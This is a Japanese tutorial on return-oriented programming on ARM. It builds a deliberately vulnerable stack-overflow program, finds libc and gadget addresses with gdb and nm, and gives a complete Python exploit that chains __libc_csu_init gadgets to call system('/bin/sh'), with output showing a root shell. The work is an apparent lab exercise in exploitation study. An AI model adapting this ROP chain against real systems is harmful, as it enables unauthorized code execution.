ARMでReturn-oriented Programming(ROP)をやってみる

ARM EABI(armel)環境でReturn-oriented Programming(ROP)をやってみる。

環境

Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)

# uname -a
Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux

# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:        14.04
Codename:       trusty

# gcc --version
gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2

脆弱性のあるプログラムを書いてみる

まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書く。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

ここでは、read/write関数を使い、データ長とその長さのデータを読み込んでいる。

DEP有効、SSP無効でコンパイルし、実行してみると次のようになる。 なお、QEMUによるエミュレーションのため、ASLRは常に無効となっている。

# gcc -fno-stack-protector bof.c
# echo -en '\x05\x00\x00\x00AAAA\n' | ./a.out
AAAA

正常に実行できていることが確認できる。

生成された実行ファイルをディスアセンブルし、main関数に対応する部分を抜き出してみる。

# objdump -d a.out | awk '/<main>:/,/^$/'
00008420 <main>:
    8420:       b580            push    {r7, lr}
    8422:       b09a            sub     sp, #104        ; 0x68
    8424:       af00            add     r7, sp, #0
    8426:       463b            mov     r3, r7
    8428:       2000            movs    r0, #0
    842a:       4619            mov     r1, r3
    842c:       2204            movs    r2, #4
    842e:       f7ff ef6c       blx     8308 <_init+0x20>
    8432:       683b            ldr     r3, [r7, #0]
    8434:       1d3a            adds    r2, r7, #4
    8436:       2000            movs    r0, #0
    8438:       4611            mov     r1, r2
    843a:       461a            mov     r2, r3
    843c:       f7ff ef64       blx     8308 <_init+0x20>
    8440:       683b            ldr     r3, [r7, #0]
    8442:       1d3a            adds    r2, r7, #4
    8444:       2001            movs    r0, #1
    8446:       4611            mov     r1, r2
    8448:       461a            mov     r2, r3
    844a:       f7ff ef70       blx     832c <_init+0x44>
    844e:       2300            movs    r3, #0
    8450:       4618            mov     r0, r3
    8452:       3768            adds    r7, #104        ; 0x68
    8454:       46bd            mov     sp, r7
    8456:       bd80            pop     {r7, pc}

アセンブリコードの内容から、「ARMで単純なスタックバッファオーバーフローをやってみる」の場合と同じくリターンアドレスがバッファの先頭から104バイト先に配置されていることがわかる。 ここでは、このオフセットについてデバッガで確認する手順は省略する。

デバッガでlibcのベースアドレスなどを調べてみる

今回はASLRが無効のため、デバッガを使い__libc_start_main関数の実際のアドレスを調べることで、libcのベースアドレスを特定することができる。 また、合わせてsystem関数、exit関数が呼ばれる際のARM/Thumbステートについても確認してみる。

root@c7b94bb2fc1e:/# qemu-gdb -q ./a.out
[1] 9
Reading symbols from ./a.out...(no debugging symbols found)...done.
Remote debugging using :1234
Reading symbols from /lib/ld-linux-armhf.so.3...Reading symbols from /usr/lib/debug//lib/arm-linux-gnueabihf/ld-2.19.so...done.
done.
Loaded symbols for /lib/ld-linux-armhf.so.3
0xf67debc0 in _start () from /lib/ld-linux-armhf.so.3
(gdb) b main
Breakpoint 1 at 0x842e
(gdb) c
Continuing.

Breakpoint 1, 0x0000842e in main ()
(gdb) p __libc_start_main
$1 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xf6708598 <__libc_start_main>
(gdb) disas/r system
Dump of assembler code for function __libc_system:
   0xf6720c94 <+0>:     00 b1   cbz     r0, 0xf6720c98 <__libc_system+4>
   0xf6720c96 <+2>:     95 e5   b.n     0xf67207c4 <do_system>
   ...
End of assembler dump.
(gdb) disas/r exit
Dump of assembler code for function __GI_exit:
   0xf671a76c <+0>:     02 49   ldr     r1, [pc, #8]    ; (0xf671a778 <__GI_exit+12>)
   0xf671a76e <+2>:     01 22   movs    r2, #1
   ...
End of assembler dump.
(gdb) quit
A debugging session is active.

        Inferior 1 [Remote target] will be killed.

Quit anyway? (y or n) y

QEMU: Terminated via GDBstub
[1]+  Done                    qemu-arm-static -g 1234 "${!#}" 0<&0

上の結果から、__libc_start_main関数は0xf6708598にあることがわかる。 また、system関数、exit関数はどちらも2バイト固定長命令から始まっている、すなわちThumbステートで呼び出されることがわかる。

読み込まれるlibcバイナリからシンボルのアドレスを調べ、libcのベースアドレスを計算してみる。

# ldd ./a.out
        libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xf66f1000)
        /lib/ld-linux-armhf.so.3 (0xf6fdf000)

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep __libc_start_main
00017598 T __libc_start_main

# python -c 'print hex(0xf6708598-0x00017598)'
0xf66f1000L

上の結果から、libcのベースアドレスが0xf66f1000であることがわかる。

エクスプロイトコードを書いてみる

ここまでの情報をもとに、ROPによるエクスプロイトコードを書くと次のようになる。

# exploit.py
import struct
from subprocess import Popen, PIPE

addr_libc_start = 0xf6708598
offset = 104

offset_libc_start = 0x17598
base_libc = addr_libc_start - offset_libc_start

addr_csu_init1 = 0x848a + 1
addr_csu_init2 = 0x847e + 1
addr_libc_system = base_libc + 0x2fc94 + 1
addr_libc_exit = base_libc + 0x2976c + 1
addr_binsh = base_libc + 0xcbd3c

"""
# objdump -d a.out
00008458 <__libc_csu_init>:
    ...
    847e:       4638            mov     r0, r7
    8480:       4641            mov     r1, r8
    8482:       464a            mov     r2, r9
    8484:       4798            blx     r3
    8486:       42b4            cmp     r4, r6
    8488:       d1f6            bne.n   8478 <__libc_csu_init+0x20>
    848a:       e8bd 83f8       ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc}

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep __libc_start_main
00017598 T __libc_start_main

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep system
0002fc94 W system

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep exit
0002976c T exit

# strings -tx /lib/arm-linux-gnueabihf/libc.so.6 | grep /bin/sh
  cbd3c /bin/sh
"""

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * offset
buf += struct.pack('<IIIIIIII', addr_csu_init1, addr_libc_system, 0, 0, 0, addr_binsh, 0, 0)
buf += struct.pack('<IIIIIIII', addr_csu_init2, addr_libc_exit, 0, 0, 0, 0, 0 ,0)
buf += struct.pack('<I', addr_csu_init2)

size = struct.pack('<I', len(buf))
p.stdin.write(size)
print "[<] %r" % size

p.stdin.write(buf)
print "[<] %r" % buf

line = p.stdout.read(len(buf))
print "[>] %r" % line

p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()

ARMでは引数はレジスタにセットされるため、同じくレジスタにセットされるx64の場合のように__libc_csu_init関数内のgadgetを使って任意の3引数関数を呼ぶことができる。 実際にディスアセンブルすると、このgadgetもThumbステートにて実行されることがわかる。

__libc_csu_init gadgetを用いる今回の場合、x86におけるret相当の操作はldm命令によりスタックからpcがロードされることによって行われる。 また、関数の呼び出しはblx命令によって行われる。 したがって、実際に呼び出す関数、gadgetがThumbステートの場合はアドレスの最下位ビットを1にしておく必要がある。

実際にエクスプロイトコードを実行してみると、次のようになる。

# python exploit.py
[<] '\xac\x00\x00\x00'
[<] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00\x95\x0cr\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\xcd{\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00m\xa7q\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00'
[>] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00\x95\x0cr\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\xcd{\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00m\xa7q\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00'
# id
uid=0(root) gid=0(root) groups=0(root)
#

DEPが有効な条件下で、ROPによるsystem関数の実行によりシェルが起動できていることが確認できた。

関連リンク